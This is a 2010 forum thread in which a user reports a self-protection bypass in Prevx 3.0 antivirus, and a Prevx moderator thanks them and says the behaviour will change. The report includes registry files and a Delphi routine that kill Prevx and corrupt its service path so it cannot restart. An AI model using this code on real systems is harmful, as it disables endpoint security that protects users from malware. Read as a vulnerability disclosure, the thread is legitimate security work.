Prevx 3.0 with SafeOnline build 3.0.5.209

STRELiTZIA · Oct 10, 2010

Prevx Registry value “KCSI” Exploit

Hi,

- (P30) Improved self protection
Click to expand...

Glad that the previous bug is fixed.

I had a little free time to revisit again the self protection...

Prevx, trying to read the data contained in the registry value”\PCSI\KCSI”, and eventually make it null if it contains data different than zero.

Roots and keys:
HKLM\SOFTWARE\PCSI\KCSI
HKCU\Software\PCSI\KCSI
HKU\.DEFAULT\Software\PCSI\KCSI

Value : KCSI
Data type : REG_DWORD
Data value : $00000001

This value does not exist when you install Prevx, but he continually seeks it every time.

By changing the data stored in this value to “1”, Prevx was killed instantly, but Prevx processes resurrected.

To bypass resurrection, we can corrupt service or drivers keys values by synchronizing modification after the process is completed or using Loop to write 1 every second.

Settings:
- Turn 'ON' Monitoring to get MAXIMUM Protection (this option prevents any Prevx registry keys malicious modification).

Use Windows registry file to add new values:

------ KillPrevxOneTime.reg --------
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\PCSI]
"KCSI"=dword:00000001

--------- CorruptCSIScanner.reg ----------
Windows Registry Editor Version 5.00

;Corrupt ImagePath to ""C:\Program Files\Prevx\prevx1.exe" /service";
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CSIScanner]
"ImagePath"=hex(2):22,00,43,00,3a,00,5c,00,50,00,72,00,6f,00,67,00,72,00,61,00,\
6d,00,20,00,46,00,69,00,6c,00,65,00,73,00,5c,00,50,00,72,00,65,00,76,00,78,\
00,5c,00,70,00,72,00,65,00,76,00,78,00,31,00,2e,00,65,00,78,00,65,00,22,00,\
20,00,2f,00,73,00,65,00,72,00,76,00,69,00,63,00,65,00,00,00

Launch” KillPrevxOneTime.reg” then “CorruptCSIScanner.reg”, you must synchronizing these operations.

Delphi part of code without optimization and checks:
procedure KillPx();
var Reg: TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('\SOFTWARE\PCSI', False);
Reg.WriteInteger('KCSI', $00000001);

Sleep(1500);

Reg.OpenKey('\SYSTEM\CurrentControlSet\Services\CSIScanner', False);
Reg.WriteExpandString('ImagePath', '"C:\Program Files\Prevx\prevx1.exe" /service');

Reg.CloseKey;
Reg.Free;
end;
Click to expand...

Working application attached: http://www.kernelmode.info/forum/viewtopic.php?f=2&p=2993#p2993
PxKiller.exe
KillPxOneTime.reg
CorruptCSIScanner.reg
Readme.txt

Regards.

PrevxHelp · Oct 10, 2010

Re: Prevx Registry value “KCSI” Exploit

STRELiTZIA said:

Glad that the previous bug is fixed.
Click to expand...

Thank you for the report - this entry is used for our automatic updating but we will be changing this behavior

Log in or Sign up

Prevx 3.0 with SafeOnline build 3.0.5.209

STRELiTZIA Registered Member

PrevxHelp Former Prevx Moderator

Log in or Sign up

Prevx 3.0 with SafeOnline build 3.0.5.209

STRELiTZIA Registered Member

PrevxHelp Former Prevx Moderator

Useful Searches